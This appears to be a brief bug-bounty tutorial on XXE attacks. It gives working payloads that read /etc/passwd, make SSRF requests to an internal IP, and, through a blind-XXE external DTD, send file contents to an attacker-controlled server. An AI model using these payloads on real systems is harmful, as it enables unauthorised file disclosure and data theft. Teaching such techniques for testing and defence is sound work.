An XXE (XML External Entity) attack targets applications that parse XML input with insecure configurations. It happens when an XML parser processes external entities in user-supplied XML.
This may lead to:
- Disclosure of confidential data
- Server Side Request Forgery (SSRF)
- Denial of Service
- Port scanning from the parser’s host
💥 Impact
-
Read local files on the host
-
SSRF: Access internal network resources
It happens on server which processes XML input weather via an API or file upload (In some way application is accepting an XML input and parsing it), if any mechanism against XXE is not in place so by default it is exploitable
🧪 XXE Example
Normal Request
POST https://mysite.com/import?type=XML HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>sahil</username>Application Response
HTTP/1.1 200 OK
sahilExploiting XXE
Malicious Request
POST https://mysite.com/import?type=XML HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>Application Response
HTTP/1.1 200 OK
<---------------------
---/etc/passwd data---
--------------------->SSRF via XXE
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://10.0.0.1">
]>
<foo>&xxe;</foo>Application Response
HTTP/1.1 200 OK
<---------------------
--DATA RELATED to IP--
--------------------->🕵️♂️ Blind XXE
When the application doesn’t return output, Blind XXE can be used to exfiltrate data externally.
When you perform the action the application may respond with a status only and do not actually send back the response,
In this case we need to rely on dtd file to exfilterate the data to our server. Instead of local file here we are requesting for a dtd file which is on our server
Malicious Request
POST http://victimsite.com/import?type=XML HTTP/1.1
User Req:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://mysite.com/evil.dtd"> %xxe;]>
evil.dtd:
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % exfildata "<!ENTITY exfil SYSTEM 'http://mysite.com/?x=%xxe;'>">
%exfildata;
%exfil;
#This Assigns the content of /etc/passwd to "xxe" then defines a new entity called "exfil" makes a http request to our server with contents of /etc/passwd fileHappy Hunting 🔍🐞